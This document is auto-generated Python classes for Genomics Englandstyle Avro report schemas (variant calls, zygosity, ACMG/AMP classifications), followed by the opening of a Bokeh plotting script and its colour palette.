VariantAttributes(ProtocolElement): """ Some additional variant attributes """ _schemaSource = """ {"type": "record", "name": "VariantAttributes", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant", "paternal_variant", "pedigree_specific_variant", "population_specific_variant", "somatic_variant"]}}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "additionalNumericVariantAnnotations", "additionalTextualVariantAnnotations", "alleleFrequencies", "alleleOrigins", "cdnaChanges", "comments", "fdp50", "genomicChanges", "ihp", "others", "proteinChanges", "recurrentlyReported", "references", "variantIdentifiers", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'alleleFrequencies': AlleleFrequency, 'variantIdentifiers': VariantIdentifiers, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'alleleFrequencies': AlleleFrequency, 'variantIdentifiers': VariantIdentifiers, } return embeddedTypes[fieldName] __slots__ = [ 'additionalNumericVariantAnnotations', 'additionalTextualVariantAnnotations', 'alleleFrequencies', 'alleleOrigins', 'cdnaChanges', 'comments', 'fdp50', 'genomicChanges', 'ihp', 'others', 'proteinChanges', 'recurrentlyReported', 'references', 'variantIdentifiers' ] def __init__(self, **kwargs): self.additionalNumericVariantAnnotations = kwargs.get( 'additionalNumericVariantAnnotations', None) self.additionalTextualVariantAnnotations = kwargs.get( 'additionalTextualVariantAnnotations', None) self.alleleFrequencies = kwargs.get( 'alleleFrequencies', None) self.alleleOrigins = kwargs.get( 'alleleOrigins', None) self.cdnaChanges = kwargs.get( 'cdnaChanges', None) self.comments = kwargs.get( 'comments', None) self.fdp50 = kwargs.get( 'fdp50', None) self.genomicChanges = kwargs.get( 'genomicChanges', None) self.ihp = kwargs.get( 'ihp', None) self.others = kwargs.get( 'others', None) self.proteinChanges = kwargs.get( 'proteinChanges', None) self.recurrentlyReported = kwargs.get( 'recurrentlyReported', None) self.references = kwargs.get( 'references', None) self.variantIdentifiers = kwargs.get( 'variantIdentifiers', None) class VariantCall(ProtocolElement): """ This is intended to hold the genotypes for the family members. This assumes that varinats have been split before. In principle it is a phased zygosity as in VCF spec and called by the analysis provider if further phasing is conducted """ _schemaSource = """ {"type": "record", "name": "VariantCall", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing", "half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous", "unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name": "PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type": ["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""}, {"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant", "paternal_variant", "pedigree_specific_variant", "population_specific_variant", "somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking", "inrepeat"]}}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "alleleOrigins", "depthAlternate", "depthReference", "numberOfCopies", "participantId", "phaseGenotype", "sampleId", "sampleVariantAlleleFrequency", "supportingReadTypes", "zygosity", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'numberOfCopies': NumberOfCopies, 'phaseGenotype': PhaseGenotype, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'numberOfCopies': NumberOfCopies, 'phaseGenotype': PhaseGenotype, } return embeddedTypes[fieldName] __slots__ = [ 'alleleOrigins', 'depthAlternate', 'depthReference', 'numberOfCopies', 'participantId', 'phaseGenotype', 'sampleId', 'sampleVariantAlleleFrequency', 'supportingReadTypes', 'zygosity' ] def __init__(self, **kwargs): self.alleleOrigins = kwargs.get( 'alleleOrigins', None) self.depthAlternate = kwargs.get( 'depthAlternate', None) self.depthReference = kwargs.get( 'depthReference', None) self.numberOfCopies = kwargs.get( 'numberOfCopies', None) self.participantId = kwargs.get( 'participantId', None) self.phaseGenotype = kwargs.get( 'phaseGenotype', None) self.sampleId = kwargs.get( 'sampleId', None) self.sampleVariantAlleleFrequency = kwargs.get( 'sampleVariantAlleleFrequency', None) self.supportingReadTypes = kwargs.get( 'supportingReadTypes', None) self.zygosity = kwargs.get( 'zygosity', None) class VariantClassification(ProtocolElement): """ The variant classification according to different properties. """ _schemaSource = """ {"type": "record", "name": "VariantClassification", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null", {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "clinicalSignificance", "drugResponseClassification", "functionalEffect", "traitAssociation", "tumorigenesisClassification", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'clinicalSignificance', 'drugResponseClassification', 'functionalEffect', 'traitAssociation', 'tumorigenesisClassification' ] def __init__(self, **kwargs): self.clinicalSignificance = kwargs.get( 'clinicalSignificance', None) self.drugResponseClassification = kwargs.get( 'drugResponseClassification', None) self.functionalEffect = kwargs.get( 'functionalEffect', None) self.traitAssociation = kwargs.get( 'traitAssociation', None) self.tumorigenesisClassification = kwargs.get( 'tumorigenesisClassification', None) class VariantConsequence(ProtocolElement): """ A variant consequence as defined by the Sequence Ontology (SO) (e.g.: id = SO:0001816 ; name = non synonymous) NOTE: this record is equivalent to OpenCB's `ConsequenceType`, but we want to avoid naming collisions """ _schemaSource = """ {"type": "record", "name": "VariantConsequence", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "id", "name", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'id', 'name' ] def __init__(self, **kwargs): self.id = kwargs.get( 'id', None) self.name = kwargs.get( 'name', None) class VariantCoordinates(ProtocolElement): """ The variant coordinates representing uniquely a small variant. No multi-allelic variant supported, alternate only represents one alternate allele. """ _schemaSource = """ {"type": "record", "name": "VariantCoordinates", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "alternate", "assembly", "chromosome", "position", "reference", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'alternate', 'assembly', 'chromosome', 'position', 'reference' ] def __init__(self, **kwargs): self.alternate = kwargs.get( 'alternate', None) self.assembly = kwargs.get( 'assembly', None) self.chromosome = kwargs.get( 'chromosome', None) self.position = kwargs.get( 'position', None) self.reference = kwargs.get( 'reference', None) class VariantFunctionalEffect(object): """ No documentation """ dominant_negative_variant = "dominant_negative_variant" gain_of_function_variant = "gain_of_function_variant" lethal_variant = "lethal_variant" loss_of_function_variant = "loss_of_function_variant" loss_of_heterozygosity = "loss_of_heterozygosity" null_variant = "null_variant" def __hash__(self): return str(self).__hash__() class VariantGroupLevelQuestions(ProtocolElement): """ The variant group level questions """ _schemaSource = """ {"type": "record", "name": "VariantGroupLevelQuestions", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "variantGroup", "type": "int", "doc": ""}, {"name": "variantLevelQuestions", "type": {"type": "array", "items": {"type": "record", "name": "VariantLevelQuestions", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "confirmationDecision", "type": {"type": "enum", "name": "ConfirmationDecision", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "confirmationOutcome", "type": {"type": "enum", "name": "ConfirmationOutcome", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "reportingQuestion", "type": {"type": "enum", "name": "ReportingQuestion", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "acmgClassification", "type": {"type": "enum", "name": "ACMGClassification", "symbols": ["pathogenic_variant", "likely_pathogenic_variant", "variant_of_unknown_clinical_significance", "likely_benign_variant", "benign_variant", "not_assessed"]}, "doc": ""}, {"name": "publications", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "actionability", "type": {"type": "enum", "name": "Actionability", "symbols": ["yes", "no", "not_yet", "na"]}, "doc": ""}, {"name": "clinicalUtility", "type": {"type": "array", "items": {"type": "enum", "name": "ClinicalUtility", "symbols": ["none", "change_in_medication", "surgical_option", "additional_surveillance_for_proband_or_relatives", "clinical_trial_eligibility", "informs_reproductive_choice", "unknown", "other"]}}, "doc": ""}, {"name": "phenotypesSolved", "type": {"type": "enum", "name": "PhenotypesSolved", "symbols": ["yes", "no", "partially", "unknown"]}, "doc": ""}, {"name": "phenotypesExplained", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "actionability", "clinicalUtility", "phenotypesExplained", "phenotypesSolved", "variantGroup", "variantLevelQuestions", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'variantLevelQuestions': VariantLevelQuestions, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'variantLevelQuestions': VariantLevelQuestions, } return embeddedTypes[fieldName] __slots__ = [ 'actionability', 'clinicalUtility', 'phenotypesExplained', 'phenotypesSolved', 'variantGroup', 'variantLevelQuestions' ] def __init__(self, **kwargs): self.actionability = kwargs.get( 'actionability', None) self.clinicalUtility = kwargs.get( 'clinicalUtility', None) self.phenotypesExplained = kwargs.get( 'phenotypesExplained', None) self.phenotypesSolved = kwargs.get( 'phenotypesSolved', None) self.variantGroup = kwargs.get( 'variantGroup', None) self.variantLevelQuestions = kwargs.get( 'variantLevelQuestions', None) class VariantIdentifiers(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "VariantIdentifiers", "namespace": "org.gel.models.report.avro", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "clinVarIds", "cosmicIds", "dbSnpId", "otherIds", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'otherIds': Identifier, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'otherIds': Identifier, } return embeddedTypes[fieldName] __slots__ = [ 'clinVarIds', 'cosmicIds', 'dbSnpId', 'otherIds' ] def __init__(self, **kwargs): self.clinVarIds = kwargs.get( 'clinVarIds', None) self.cosmicIds = kwargs.get( 'cosmicIds', None) self.dbSnpId = kwargs.get( 'dbSnpId', None) self.otherIds = kwargs.get( 'otherIds', None) class VariantInterpretationLog(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "VariantInterpretationLog", "namespace": "org.gel.models.report.avro", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}}, {"name": "user", "type": {"type": "record", "name": "User", "fields": [{"name": "username", "type": "string"}, {"name": "role", "type": "string"}, {"name": "email", "type": "string"}, {"name": "groups", "type": {"type": "array", "items": "string"}}]}}, {"name": "timestamp", "type": "string"}, {"name": "familyId", "type": "string"}, {"name": "caseId", "type": "string"}, {"name": "variantValidation", "type": ["null", {"type": "record", "name": "VariantValidation", "fields": [{"name": "validationTechnology", "type": "string"}, {"name": "validationResult", "type": {"type": "enum", "name": "ValidationResult", "symbols": ["NotPerformed", "Confirmed", "NotConfirmed"]}}]}]}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}]}, {"name": "variantClassification", "type": {"type": "record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification", "type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}}, {"name": "VariantValidation", "type": ["null", "VariantValidation"]}, {"name": "Artifact", "type": ["null", "boolean"]}, {"name": "decisionSupportSystemFilters", "type": ["null", {"type": "map", "values": "string"}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "Artifact", "VariantValidation", "caseId", "comments", "decisionSupportSystemFilters", "familyId", "timestamp", "user", "variantClassification", "variantCoordinates", "variantValidation", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'VariantValidation': VariantValidation, 'user': User, 'variantClassification': GuidelineBasedVariantClassification, 'variantCoordinates': VariantCoordinates, 'variantValidation': VariantValidation, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'VariantValidation': VariantValidation, 'user': User, 'variantClassification': GuidelineBasedVariantClassification, 'variantCoordinates': VariantCoordinates, 'variantValidation': VariantValidation, } return embeddedTypes[fieldName] __slots__ = [ 'Artifact', 'VariantValidation', 'caseId', 'comments', 'decisionSupportSystemFilters', 'familyId', 'timestamp', 'user', 'variantClassification', 'variantCoordinates', 'variantValidation' ] def __init__(self, **kwargs): self.Artifact = kwargs.get( 'Artifact', None) self.VariantValidation = kwargs.get( 'VariantValidation', None) self.caseId = kwargs.get( 'caseId', None) self.comments = kwargs.get( 'comments', None) self.decisionSupportSystemFilters = kwargs.get( 'decisionSupportSystemFilters', None) self.familyId = kwargs.get( 'familyId', None) self.timestamp = kwargs.get( 'timestamp', None) self.user = kwargs.get( 'user', User()) self.variantClassification = kwargs.get( 'variantClassification', GuidelineBasedVariantClassification()) self.variantCoordinates = kwargs.get( 'variantCoordinates', VariantCoordinates()) self.variantValidation = kwargs.get( 'variantValidation', None) class VariantLevelQuestions(ProtocolElement): """ The variant level questions """ _schemaSource = """ {"type": "record", "name": "VariantLevelQuestions", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "confirmationDecision", "type": {"type": "enum", "name": "ConfirmationDecision", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "confirmationOutcome", "type": {"type": "enum", "name": "ConfirmationOutcome", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "reportingQuestion", "type": {"type": "enum", "name": "ReportingQuestion", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "acmgClassification", "type": {"type": "enum", "name": "ACMGClassification", "symbols": ["pathogenic_variant", "likely_pathogenic_variant", "variant_of_unknown_clinical_significance", "likely_benign_variant", "benign_variant", "not_assessed"]}, "doc": ""}, {"name": "publications", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "acmgClassification", "confirmationDecision", "confirmationOutcome", "publications", "reportingQuestion", "variantCoordinates", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'variantCoordinates': VariantCoordinates, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'variantCoordinates': VariantCoordinates, } return embeddedTypes[fieldName] __slots__ = [ 'acmgClassification', 'confirmationDecision', 'confirmationOutcome', 'publications', 'reportingQuestion', 'variantCoordinates' ] def __init__(self, **kwargs): self.acmgClassification = kwargs.get( 'acmgClassification', None) self.confirmationDecision = kwargs.get( 'confirmationDecision', None) self.confirmationOutcome = kwargs.get( 'confirmationOutcome', None) self.publications = kwargs.get( 'publications', None) self.reportingQuestion = kwargs.get( 'reportingQuestion', None) self.variantCoordinates = kwargs.get( 'variantCoordinates', VariantCoordinates()) class VariantValidation(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "VariantValidation", "namespace": "org.gel.models.report.avro", "fields": [{"name": "validationTechnology", "type": "string"}, {"name": "validationResult", "type": {"type": "enum", "name": "ValidationResult", "symbols": ["NotPerformed", "Confirmed", "NotConfirmed"]}}]} """ schema = avro_parse(_schemaSource) requiredFields = { "validationResult", "validationTechnology", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'validationResult', 'validationTechnology' ] def __init__(self, **kwargs): self.validationResult = kwargs.get( 'validationResult', None) self.validationTechnology = kwargs.get( 'validationTechnology', None) class VersionControl(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "VersionControl", "namespace": "org.gel.models.participant.avro", "fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]} """ schema = avro_parse(_schemaSource) requiredFields = {} @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'GitVersionControl' ] def __init__(self, **kwargs): self.GitVersionControl = kwargs.get( 'GitVersionControl', '1.1.0') class Zygosity(object): """ It is a representation of the zygosity * `reference_homozygous`: 0/0, 0|0 * `heterozygous`: 0/1, 1/0, 1|0, 0|1 * `alternate_homozygous`: 1/1, 1|1 * `missing`: ./., .|. * `half_missing_reference`: ./0, 0/., 0|., .|0 * `half_missing_alternate`: ./1, 1/., 1|., .|1 * `alternate_hemizigous`: 1 * `reference_hemizigous`: 0 * `unk`: Anything unexpected """ reference_homozygous = "reference_homozygous" heterozygous = "heterozygous" alternate_homozygous = "alternate_homozygous" missing = "missing" half_missing_reference = "half_missing_reference" half_missing_alternate = "half_missing_alternate" alternate_hemizigous = "alternate_hemizigous" reference_hemizigous = "reference_hemizigous" unk = "unk" na = "na" def __hash__(self): return str(self).__hash__() class diseaseType(object): """ No documentation """ ADULT_GLIOMA = "ADULT_GLIOMA" BLADDER = "BLADDER" BREAST = "BREAST" CARCINOMA_OF_UNKNOWN_PRIMARY = "CARCINOMA_OF_UNKNOWN_PRIMARY" CHILDHOOD = "CHILDHOOD" COLORECTAL = "COLORECTAL" ENDOCRINE = "ENDOCRINE" ENDOMETRIAL_CARCINOMA = "ENDOMETRIAL_CARCINOMA" HAEMONC = "HAEMONC" HEPATOPANCREATOBILIARY = "HEPATOPANCREATOBILIARY" LUNG = "LUNG" MALIGNANT_MELANOMA = "MALIGNANT_MELANOMA" NASOPHARYNGEAL = "NASOPHARYNGEAL" ORAL_OROPHARYNGEAL = "ORAL_OROPHARYNGEAL" OVARIAN = "OVARIAN" PROSTATE = "PROSTATE" RENAL = "RENAL" SARCOMA = "SARCOMA" SINONASAL = "SINONASAL" TESTICULAR_GERM_CELL_TUMOURS = "TESTICULAR_GERM_CELL_TUMOURS" UPPER_GASTROINTESTINAL = "UPPER_GASTROINTESTINAL" OTHER = "OTHER" NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE = "NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE" CLASSICAL_HODGKINS = "CLASSICAL_HODGKINS" NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS = "NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS" T_CELL_LYMPHOMA = "T_CELL_LYMPHOMA" def __hash__(self): return str(self).__hash__()

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Python

alldata_visualizer_alex.py

michellejlin/tprk

04758e40c7dd9060d4d613c52b650e250297cb7a

[ "MIT" ]

1

2020-08-26T22:27:17.000Z

alldata_visualizer_alex.py

michellejlin/tprk

04758e40c7dd9060d4d613c52b650e250297cb7a

[ "MIT" ]

null

alldata_visualizer_alex.py

michellejlin/tprk

04758e40c7dd9060d4d613c52b650e250297cb7a

[ "MIT" ]

3

2019-11-01T00:46:06.000Z

2020-08-26T22:27:23.000Z

import numpy as np import pandas as pd import argparse import sys from bokeh import events from bokeh.io import save, export_svgs, export_png from bokeh.resources import CDN from bokeh.embed import components, file_html from bokeh.palettes import brewer from bokeh.plotting import figure, show, output_file from bokeh.models import ColumnDataSource, LabelSet, ColorBar, BasicTicker, PrintfTickFormatter,HoverTool, LinearColorMapper, Slider, CustomJS, Label, WheelZoomTool, ResetTool, Button, TextInput from bokeh.models.widgets import Panel, Paragraph, Div from bokeh.layouts import gridplot, column, layout, widgetbox, row from bokeh.transform import transform from math import pi import subprocess import os color_palette=[ '#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', 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"#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51", "#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0", "#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", 